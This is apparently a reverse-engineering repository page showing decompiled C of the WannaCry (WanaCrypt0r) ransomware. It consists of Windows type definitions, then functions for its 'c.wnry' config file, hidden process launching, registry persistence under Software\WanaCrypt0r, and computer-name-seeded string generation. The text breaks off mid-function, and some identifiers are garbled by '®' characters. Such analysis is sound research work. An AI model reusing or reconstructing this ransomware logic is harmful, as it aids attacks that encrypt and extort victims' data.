-
Notifications
You must be signed in to change notification settings - Fork 0
/
1831.bin.c
6762 lines (6061 loc) · 174 KB
/
1831.bin.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
typedef unsigned char undefined;
typedef unsigned int ImageBaseOffset32;
typedef unsigned char byte;
typedef unsigned int dword;
typedef unsigned char uchar;
typedef unsigned int uint;
typedef unsigned long ulong;
typedef unsigned long long ulonglong;
typedef unsigned char undefined1;
typedef unsigned short undefined2;
typedef unsigned int undefined4;
typedef unsigned short ushort;
typedef short wchar_t;
typedef unsigned short word;
typedef struct exception exception, *Pexception;
struct exception { // PlaceHolder Class Structure
};
typedef struct _s_HandlerType _s_HandlerType, *P_s_HandlerType;
typedef struct _s_HandlerType HandlerType;
typedef struct TypeDescriptor TypeDescriptor, *PTypeDescriptor;
typedef int ptrdiff_t;
struct TypeDescriptor {
void * pVFTable;
void * spare;
char[0] name;
};
struct _s_HandlerType {
uint adjectives;
struct TypeDescriptor * pType;
ptrdiff_t dispCatchObj;
void * addressOfHandler;
};
typedef union IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryUnion IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryUnion, *PIMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryUnion;
typedef struct IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct, *PIMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct;
struct IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct {
dword OffsetToDirectory;
dword DataIsDirectory;
};
union IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryUnion {
dword OffsetToData;
struct IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryStruct;
};
typedef struct _s_TryBlockMapEntry _s_TryBlockMapEntry, *P_s_TryBlockMapEntry;
typedef int __ehstate_t;
struct _s_TryBlockMapEntry {
__ehstate_t tryLow;
__ehstate_t tryHigh;
__ehstate_t catchHigh;
int nCatches;
HandlerType * pHandlerArray;
};
typedef struct _s_TryBlockMapEntry TryBlockMapEntry;
typedef struct _s_UnwindMapEntry _s_UnwindMapEntry, *P_s_UnwindMapEntry;
struct _s_UnwindMapEntry {
__ehstate_t toState;
void (* action)(void);
};
typedef unsigned short wchar16;
typedef struct _s_UnwindMapEntry UnwindMapEntry;
typedef struct type_info type_info, *Ptype_info;
struct type_info { // PlaceHolder Class Structure
};
typedef struct _s_FuncInfo _s_FuncInfo, *P_s_FuncInfo;
typedef struct _s_FuncInfo FuncInfo;
struct _s_FuncInfo {
uint magicNumber_and_bbtFlags;
__ehstate_t maxState;
UnwindMapEntry * pUnwindMap;
uint nTryBlocks;
TryBlockMapEntry * pTryBlockMap;
uint nIPMapEntries;
void * pIPToStateMap;
};
typedef struct _OVERLAPPED _OVERLAPPED, *P_OVERLAPPED;
typedef ulong ULONG_PTR;
typedef union _union_518 _union_518, *P_union_518;
typedef void * HANDLE;
typedef struct _struct_519 _struct_519, *P_struct_519;
typedef void * PVOID;
typedef ulong DWORD;
struct _struct_519 {
DWORD Offset;
DWORD OffsetHigh;
};
union _union_518 {
struct _struct_519 s;
PVOID Pointer;
};
struct _OVERLAPPED {
ULONG_PTR Internal;
ULONG_PTR InternalHigh;
union _union_518 u;
HANDLE hEvent;
};
typedef struct _SECURITY_ATTRIBUTES _SECURITY_ATTRIBUTES, *P_SECURITY_ATTRIBUTES;
typedef void * LPVOID;
typedef int BOOL;
struct _SECURITY_ATTRIBUTES {
DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
};
typedef struct _SYSTEMTIME _SYSTEMTIME, *P_SYSTEMTIME;
typedef struct _SYSTEMTIME SYSTEMTIME;
typedef ushort WORD;
struct _SYSTEMTIME {
WORD wYear;
WORD wMonth;
WORD wDayOfWeek;
WORD wDay;
WORD wHour;
WORD wMinute;
WORD wSecond;
WORD wMilliseconds;
};
typedef struct _OVERLAPPED * LPOVERLAPPED;
typedef struct _SECURITY_ATTRIBUTES * LPSECURITY_ATTRIBUTES;
typedef struct _STARTUPINFOA _STARTUPINFOA, *P_STARTUPINFOA;
typedef char CHAR;
typedef CHAR * LPSTR;
typedef uchar BYTE;
typedef BYTE * LPBYTE;
struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
};
typedef struct _PROCESS_INFORMATION _PROCESS_INFORMATION, *P_PROCESS_INFORMATION;
struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
};
typedef struct _STARTUPINFOA * LPSTARTUPINFOA;
typedef struct _PROCESS_INFORMATION * LPPROCESS_INFORMATION;
typedef struct _RTL_CRITICAL_SECTION _RTL_CRITICAL_SECTION, *P_RTL_CRITICAL_SECTION;
typedef struct _RTL_CRITICAL_SECTION * PRTL_CRITICAL_SECTION;
typedef PRTL_CRITICAL_SECTION LPCRITICAL_SECTION;
typedef struct _RTL_CRITICAL_SECTION_DEBUG _RTL_CRITICAL_SECTION_DEBUG, *P_RTL_CRITICAL_SECTION_DEBUG;
typedef struct _RTL_CRITICAL_SECTION_DEBUG * PRTL_CRITICAL_SECTION_DEBUG;
typedef long LONG;
typedef struct _LIST_ENTRY _LIST_ENTRY, *P_LIST_ENTRY;
typedef struct _LIST_ENTRY LIST_ENTRY;
struct _RTL_CRITICAL_SECTION {
PRTL_CRITICAL_SECTION_DEBUG DebugInfo;
LONG LockCount;
LONG RecursionCount;
HANDLE OwningThread;
HANDLE LockSemaphore;
ULONG_PTR SpinCount;
};
struct _LIST_ENTRY {
struct _LIST_ENTRY * Flink;
struct _LIST_ENTRY * Blink;
};
struct _RTL_CRITICAL_SECTION_DEBUG {
WORD Type;
WORD CreatorBackTraceIndex;
struct _RTL_CRITICAL_SECTION * CriticalSection;
LIST_ENTRY ProcessLocksList;
DWORD EntryCount;
DWORD ContentionCount;
DWORD Flags;
WORD CreatorBackTraceIndexHigh;
WORD SpareWORD;
};
typedef struct _CONTEXT _CONTEXT, *P_CONTEXT;
typedef struct _FLOATING_SAVE_AREA _FLOATING_SAVE_AREA, *P_FLOATING_SAVE_AREA;
typedef struct _FLOATING_SAVE_AREA FLOATING_SAVE_AREA;
struct _FLOATING_SAVE_AREA {
DWORD ControlWord;
DWORD StatusWord;
DWORD TagWord;
DWORD ErrorOffset;
DWORD ErrorSelector;
DWORD DataOffset;
DWORD DataSelector;
BYTE RegisterArea[80];
DWORD Cr0NpxState;
};
struct _CONTEXT {
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs;
DWORD EFlags;
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters[512];
};
typedef struct _EXCEPTION_RECORD _EXCEPTION_RECORD, *P_EXCEPTION_RECORD;
struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD * ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[15];
};
typedef struct _EXCEPTION_POINTERS _EXCEPTION_POINTERS, *P_EXCEPTION_POINTERS;
typedef struct _EXCEPTION_RECORD EXCEPTION_RECORD;
typedef EXCEPTION_RECORD * PEXCEPTION_RECORD;
typedef struct _CONTEXT CONTEXT;
typedef CONTEXT * PCONTEXT;
struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT ContextRecord;
};
typedef struct _iobuf _iobuf, *P_iobuf;
struct _iobuf {
char * _ptr;
int _cnt;
char * _base;
int _flag;
int _file;
int _charbuf;
int _bufsiz;
char * _tmpfname;
};
typedef struct _iobuf FILE;
typedef struct _s_CatchableTypeArray _s_CatchableTypeArray, *P_s_CatchableTypeArray;
typedef struct _s_CatchableTypeArray CatchableTypeArray;
typedef struct _s_CatchableType _s_CatchableType, *P_s_CatchableType;
typedef struct _s_CatchableType CatchableType;
// WARNING! conflicting data type names: /ehdata.h/TypeDescriptor - /TypeDescriptor
typedef struct PMD PMD, *PPMD;
typedef void (* PMFN)(void *);
struct PMD {
ptrdiff_t mdisp;
ptrdiff_t pdisp;
ptrdiff_t vdisp;
};
struct _s_CatchableType {
uint properties;
struct TypeDescriptor * pType;
struct PMD thisDisplacement;
int sizeOrOffset;
PMFN copyFunction;
};
struct _s_CatchableTypeArray {
int nCatchableTypes;
CatchableType *[0] arrayOfCatchableTypes;
};
typedef struct _s_ThrowInfo _s_ThrowInfo, *P_s_ThrowInfo;
typedef struct _s_ThrowInfo ThrowInfo;
struct _s_ThrowInfo {
uint attributes;
PMFN pmfnUnwind;
int (* pForwardCompat)(void);
CatchableTypeArray * pCatchableTypeArray;
};
typedef uint size_t;
typedef struct _startupinfo _startupinfo, *P_startupinfo;
struct _startupinfo {
int newmode;
};
typedef struct SC_HANDLE__ SC_HANDLE__, *PSC_HANDLE__;
typedef struct SC_HANDLE__ * SC_HANDLE;
struct SC_HANDLE__ {
int unused;
};
typedef union _LARGE_INTEGER _LARGE_INTEGER, *P_LARGE_INTEGER;
typedef struct _struct_19 _struct_19, *P_struct_19;
typedef struct _struct_20 _struct_20, *P_struct_20;
typedef double LONGLONG;
struct _struct_20 {
DWORD LowPart;
LONG HighPart;
};
struct _struct_19 {
DWORD LowPart;
LONG HighPart;
};
union _LARGE_INTEGER {
struct _struct_19 s;
struct _struct_20 u;
LONGLONG QuadPart;
};
typedef union _LARGE_INTEGER LARGE_INTEGER;
typedef wchar_t WCHAR;
typedef WCHAR * LPWSTR;
typedef CHAR * LPCSTR;
typedef WCHAR * LPCWSTR;
typedef WCHAR * PWSTR;
typedef LONG * PLONG;
typedef LARGE_INTEGER * PLARGE_INTEGER;
typedef struct IMAGE_DOS_HEADER IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
struct IMAGE_DOS_HEADER {
char e_magic[2]; // Magic number
word e_cblp; // Bytes of last page
word e_cp; // Pages in file
word e_crlc; // Relocations
word e_cparhdr; // Size of header in paragraphs
word e_minalloc; // Minimum extra paragraphs needed
word e_maxalloc; // Maximum extra paragraphs needed
word e_ss; // Initial (relative) SS value
word e_sp; // Initial SP value
word e_csum; // Checksum
word e_ip; // Initial IP value
word e_cs; // Initial (relative) CS value
word e_lfarlc; // File address of relocation table
word e_ovno; // Overlay number
word e_res[4][4]; // Reserved words
word e_oemid; // OEM identifier (for e_oeminfo)
word e_oeminfo; // OEM information; e_oemid specific
word e_res2[10][10]; // Reserved words
dword e_lfanew; // File address of new exe header
byte e_program[64]; // Actual DOS program
};
typedef ULONG_PTR HCRYPTPROV;
typedef ULONG_PTR SIZE_T;
typedef uint UINT_PTR;
typedef struct HKEY__ HKEY__, *PHKEY__;
struct HKEY__ {
int unused;
};
typedef DWORD * LPDWORD;
typedef DWORD * PDWORD;
typedef struct _FILETIME _FILETIME, *P_FILETIME;
typedef struct _FILETIME FILETIME;
struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
};
typedef struct HINSTANCE__ HINSTANCE__, *PHINSTANCE__;
typedef struct HINSTANCE__ * HINSTANCE;
struct HINSTANCE__ {
int unused;
};
typedef struct HRSRC__ HRSRC__, *PHRSRC__;
struct HRSRC__ {
int unused;
};
typedef HINSTANCE HMODULE;
typedef struct _FILETIME * LPFILETIME;
typedef int (* FARPROC)(void);
typedef struct HKEY__ * HKEY;
typedef HKEY * PHKEY;
typedef HANDLE HGLOBAL;
typedef void * LPCVOID;
typedef struct HRSRC__ * HRSRC;
typedef uint UINT;
typedef struct IMAGE_OPTIONAL_HEADER32 IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
typedef struct IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
struct IMAGE_DATA_DIRECTORY {
ImageBaseOffset32 VirtualAddress;
dword Size;
};
struct IMAGE_OPTIONAL_HEADER32 {
word Magic;
byte MajorLinkerVersion;
byte MinorLinkerVersion;
dword SizeOfCode;
dword SizeOfInitializedData;
dword SizeOfUninitializedData;
ImageBaseOffset32 AddressOfEntryPoint;
ImageBaseOffset32 BaseOfCode;
ImageBaseOffset32 BaseOfData;
pointer32 ImageBase;
dword SectionAlignment;
dword FileAlignment;
word MajorOperatingSystemVersion;
word MinorOperatingSystemVersion;
word MajorImageVersion;
word MinorImageVersion;
word MajorSubsystemVersion;
word MinorSubsystemVersion;
dword Win32VersionValue;
dword SizeOfImage;
dword SizeOfHeaders;
dword CheckSum;
word Subsystem;
word DllCharacteristics;
dword SizeOfStackReserve;
dword SizeOfStackCommit;
dword SizeOfHeapReserve;
dword SizeOfHeapCommit;
dword LoaderFlags;
dword NumberOfRvaAndSizes;
struct IMAGE_DATA_DIRECTORY DataDirectory[16];
};
typedef struct Var Var, *PVar;
struct Var {
word wLength;
word wValueLength;
word wType;
};
typedef struct IMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct IMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct, *PIMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct;
struct IMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct {
dword NameOffset;
dword NameIsString;
};
typedef struct IMAGE_FILE_HEADER IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
struct IMAGE_FILE_HEADER {
word Machine; // 332
word NumberOfSections;
dword TimeDateStamp;
dword PointerToSymbolTable;
dword NumberOfSymbols;
word SizeOfOptionalHeader;
word Characteristics;
};
typedef struct IMAGE_NT_HEADERS32 IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
struct IMAGE_NT_HEADERS32 {
char Signature[4];
struct IMAGE_FILE_HEADER FileHeader;
struct IMAGE_OPTIONAL_HEADER32 OptionalHeader;
};
typedef struct StringFileInfo StringFileInfo, *PStringFileInfo;
struct StringFileInfo {
word wLength;
word wValueLength;
word wType;
};
typedef union IMAGE_RESOURCE_DIRECTORY_ENTRY IMAGE_RESOURCE_DIRECTORY_ENTRY, *PIMAGE_RESOURCE_DIRECTORY_ENTRY;
typedef union IMAGE_RESOURCE_DIRECTORY_ENTRY_NameUnion IMAGE_RESOURCE_DIRECTORY_ENTRY_NameUnion, *PIMAGE_RESOURCE_DIRECTORY_ENTRY_NameUnion;
union IMAGE_RESOURCE_DIRECTORY_ENTRY_NameUnion {
struct IMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct IMAGE_RESOURCE_DIRECTORY_ENTRY_NameStruct;
dword Name;
word Id;
};
union IMAGE_RESOURCE_DIRECTORY_ENTRY {
union IMAGE_RESOURCE_DIRECTORY_ENTRY_NameUnion NameUnion;
union IMAGE_RESOURCE_DIRECTORY_ENTRY_DirectoryUnion DirectoryUnion;
};
typedef struct StringTable StringTable, *PStringTable;
struct StringTable {
word wLength;
word wValueLength;
word wType;
};
typedef struct IMAGE_SECTION_HEADER IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
typedef union Misc Misc, *PMisc;
typedef enum SectionFlags {
IMAGE_SCN_ALIGN_1024BYTES=11534336,
IMAGE_SCN_ALIGN_128BYTES=8388608,
IMAGE_SCN_ALIGN_16BYTES=5242880,
IMAGE_SCN_ALIGN_1BYTES=1048576,
IMAGE_SCN_ALIGN_2048BYTES=12582912,
IMAGE_SCN_ALIGN_256BYTES=9437184,
IMAGE_SCN_ALIGN_2BYTES=2097152,
IMAGE_SCN_ALIGN_32BYTES=6291456,
IMAGE_SCN_ALIGN_4096BYTES=13631488,
IMAGE_SCN_ALIGN_4BYTES=3145728,
IMAGE_SCN_ALIGN_512BYTES=10485760,
IMAGE_SCN_ALIGN_64BYTES=7340032,
IMAGE_SCN_ALIGN_8192BYTES=14680064,
IMAGE_SCN_ALIGN_8BYTES=4194304,
IMAGE_SCN_CNT_CODE=32,
IMAGE_SCN_CNT_INITIALIZED_DATA=64,
IMAGE_SCN_CNT_UNINITIALIZED_DATA=128,
IMAGE_SCN_GPREL=32768,
IMAGE_SCN_LNK_COMDAT=4096,
IMAGE_SCN_LNK_INFO=512,
IMAGE_SCN_LNK_NRELOC_OVFL=16777216,
IMAGE_SCN_LNK_OTHER=256,
IMAGE_SCN_LNK_REMOVE=2048,
IMAGE_SCN_MEM_16BIT=131072,
IMAGE_SCN_MEM_DISCARDABLE=33554432,
IMAGE_SCN_MEM_EXECUTE=536870912,
IMAGE_SCN_MEM_LOCKED=262144,
IMAGE_SCN_MEM_NOT_CACHED=67108864,
IMAGE_SCN_MEM_NOT_PAGED=134217728,
IMAGE_SCN_MEM_PRELOAD=524288,
IMAGE_SCN_MEM_PURGEABLE=131072,
IMAGE_SCN_MEM_READ=1073741824,
IMAGE_SCN_MEM_SHARED=268435456,
IMAGE_SCN_MEM_WRITE=2147483648,
IMAGE_SCN_RESERVED_0001=16,
IMAGE_SCN_RESERVED_0040=1024,
IMAGE_SCN_TYPE_NO_PAD=8
} SectionFlags;
union Misc {
dword PhysicalAddress;
dword VirtualSize;
};
struct IMAGE_SECTION_HEADER {
char Name[8];
union Misc Misc;
ImageBaseOffset32 VirtualAddress;
dword SizeOfRawData;
dword PointerToRawData;
dword PointerToRelocations;
dword PointerToLinenumbers;
word NumberOfRelocations;
word NumberOfLinenumbers;
enum SectionFlags Characteristics;
};
typedef struct VS_VERSION_INFO VS_VERSION_INFO, *PVS_VERSION_INFO;
struct VS_VERSION_INFO {
word StructLength;
word ValueLength;
word StructType;
wchar16 Info[16];
byte Padding[2];
dword Signature;
word StructVersion[2];
word FileVersion[4];
word ProductVersion[4];
dword FileFlagsMask[2];
dword FileFlags;
dword FileOS;
dword FileType;
dword FileSubtype;
dword FileTimestamp;
};
typedef struct IMAGE_RESOURCE_DIR_STRING_U_6 IMAGE_RESOURCE_DIR_STRING_U_6, *PIMAGE_RESOURCE_DIR_STRING_U_6;
struct IMAGE_RESOURCE_DIR_STRING_U_6 {
word Length;
wchar16 NameString[3];
};
typedef struct IMAGE_RESOURCE_DATA_ENTRY IMAGE_RESOURCE_DATA_ENTRY, *PIMAGE_RESOURCE_DATA_ENTRY;
struct IMAGE_RESOURCE_DATA_ENTRY {
dword OffsetToData;
dword Size;
dword CodePage;
dword Reserved;
};
typedef struct VarFileInfo VarFileInfo, *PVarFileInfo;
struct VarFileInfo {
word wLength;
word wValueLength;
word wType;
};
typedef struct IMAGE_RESOURCE_DIRECTORY IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY;
struct IMAGE_RESOURCE_DIRECTORY {
dword Characteristics;
dword TimeDateStamp;
word MajorVersion;
word MinorVersion;
word NumberOfNamedEntries;
word NumberOfIdEntries;
};
typedef struct StringInfo StringInfo, *PStringInfo;
struct StringInfo {
word wLength;
word wValueLength;
word wType;
};
typedef LONG LSTATUS;
uint FUN_00401000(void *param_1, int param_2) {
FILE *_File;
uint uVar1;
size_t sVar2;
char *_Mode;
if (param_2 == 0) {
_Mode = "wb";
} else {
_Mode = "rb";
}
_File = fopen("c.wnry",_Mode);
if (_File == NULL) {
uVar1 = 0;
} else {
if (param_2 == 0) {
sVar2 = fwrite(param_1, 780, 1, _File);
} else {
sVar2 = fread(param_1, 780, 1, _File);
}
uVar1 = (uint)(sVar2 != 0);
fclose(_File);
}
return uVar1;
}
undefined4 run_command(LPSTR param_1, DWORD param_2, LPDWORD param_3) {
BOOL BVar1;
DWORD DVar2;
int iVar3;
LPSTR *ppCVar4;
undefined4 uVar5;
_STARTUPINFOA local_58;
_PROCESS_INFORMATION local_14;
iVar3 = 0x10;
local_58.cb = 0x44;
ppCVar4 = &local_58.lpReserved;
memset(ppCVar4, 0, 16);
local_14.hProcess = (HANDLE)0x0;
local_14.hThread = (HANDLE)0x0;
local_14.dwProcessId = 0;
local_14.dwThreadId = 0;
uVar5 = 1;
local_58.wShowWindow = 0;
local_58.dwFlags = 1;
BVar1 = CreateProcessA(NULL, param_1, NULL, NULL, 0, 0x8000000, NULL, NULL, (LPSTARTUPINFOA)&local_58, (LPPROCESS_INFORMATION)&local_14);
if (BVar1 == 0) {
uVar5 = 0;
} else {
if (param_2 != 0) {
DVar2 = WaitForSingleObject(local_14.hProcess,param_2);
if (DVar2 != 0) {
TerminateProcess(local_14.hProcess,0xffffffff);
}
if (param_3 != NULL) {
GetExitCodeProcess(local_14.hProcess,param_3);
}
}
CloseHandle(local_14.hProcess);
CloseHandle(local_14.hThread);
}
return uVar5;
}
undefined4 set_or_query_registry_cwd(int set_registry) {
size_t current_dir_length;
LSTATUS LVar1;
undefined4 *software_str;
undefined4 *puVar3;
bool bVar4;
HKEY hKey;
BYTE registry_value;
undefined4 local_2df;
undefined4 software_str_buf [10];
undefined4 local_c4 [45];
DWORD local_10;
int i;
HKEY regWanaHandle;
software_str = "Software\\";
strcpy(software_str_buf, software_str); // or memcpy(software_str_buf,software_str,5)
registry_value = '\0';
regWanaHandle = NULL;
software_str = local_c4;
memset(software_str, 0, 45);
software_str = &local_2df;
memset(software_str, 0, 129);
*(undefined2 *)software_str = 0;
*(undefined *)((int)software_str + 2) = 0;
// Software\WanaCrypt0r
wcscat((wchar_t *)software_str_buf,"WanaCrypt0r");
i = 0;
do {
if (i == 0) {
// HKEY_LOCAL_MACHINE
hKey = (HKEY)0x80000002;
} else {
// HKEY_CURRENT_USER
hKey = (HKEY)0x80000001;
}
RegCreateKeyW(hKey, (LPCWSTR)software_str_buf, (PHKEY)®WanaHandle);
if (regWanaHandle != NULL) {
if (set_registry == 0) {
local_10 = 0x207;
LVar1 = RegQueryValueExA(regWanaHandle, "wd", NULL, NULL, ®istry_value, &local_10);
bVar4 = LVar1 == 0;
if (bVar4) {
SetCurrentDirectoryA((LPCSTR)®istry_value);
}
} else {
GetCurrentDirectoryA(0x207,(LPSTR)®istry_value);
current_dir_length = strlen((char *)®istry_value);
LVar1 = RegSetValueExA(regWanaHandle, "wd", 0, 1, ®istry_value, current_dir_length + 1);
bVar4 = LVar1 == 0;
}
RegCloseKey(regWanaHandle);
if (bVar4) {
return 1;
}
}
i = i + 1;
if (1 < i) {
return 0;
}
} while( true );
}
void randomstring_generator(char *randomstring_output) {
size_t computername_len;
int random_number2;
int random_number;
uint _Seed;
int iVar1;
undefined4 *puVar2;
ushort *computername_ptr;
int iVar3;
ushort computername;
undefined4 local_19a [99];
DWORD computername_size;
uint local_8;
computername = DAT_0040f874;
random_number = 99;
computername_size = 399;
puVar2 = local_19a;
memset(puVar2, 0, random_number);
*(undefined2 *)puVar2 = 0;
GetComputerNameW((LPWSTR)&computername,&computername_size);
local_8 = 0;
_Seed = 1;
computername_len = wcslen((wchar_t *)&computername);
if (computername_len != 0) {
computername_ptr = &computername;
do {
_Seed = _Seed * *computername_ptr;
local_8 = local_8 + 1;
computername_ptr = computername_ptr + 1;
computername_len = wcslen((wchar_t *)&computername);
} while (local_8 < computername_len);
}
srand(_Seed);
random_number = rand();
iVar3 = 0;
iVar1 = random_number % 8 + 8;
if (0 < iVar1) {
do {
random_number2 = rand();
randomstring_output[iVar3] = (char)(random_number2 % 0x1a) + 'a';
iVar3 = iVar3 + 1;
} while (iVar3 < iVar1);
}
while (iVar3 < random_number % 8 + 0xb) {
iVar1 = rand();
randomstring_output[iVar3] = (char)(iVar1 % 10) + '0';
iVar3 = iVar3 + 1;
}
randomstring_output[iVar3] = '\0';
return;
}
undefined4 * FUN_004012fd(void) {
undefined4 uVar1;
undefined4 *extraout_ECX;
int unaff_EBP;
undefined4 *in_FS_OFFSET;
FUN_004076c8();
*(undefined4 **)(unaff_EBP + -0x10) = extraout_ECX;
FUN_004017dd(extraout_ECX + 1);
*(undefined4 *)(unaff_EBP + -4) = 0;
FUN_004017dd(extraout_ECX + 0xb);
*(undefined *)(unaff_EBP + -4) = 1;
FUN_00402a46(extraout_ECX + 0x15);
uVar1 = *(undefined4 *)(unaff_EBP + -0xc);
extraout_ECX[0x132] = 0;
extraout_ECX[0x133] = 0;
extraout_ECX[0x134] = 0;
extraout_ECX[0x135] = 0;
*extraout_ECX = 0x4081d8;
*in_FS_OFFSET = uVar1;
return extraout_ECX;
}
void * __thiscall FUN_0040135e(void *this,byte param_1) {
FUN_0040137a();
if ((param_1 & 1) != 0) {
operator_delete(this);
}
return this;
}
void FUN_0040137a(void) {
undefined4 *extraout_ECX;
int unaff_EBP;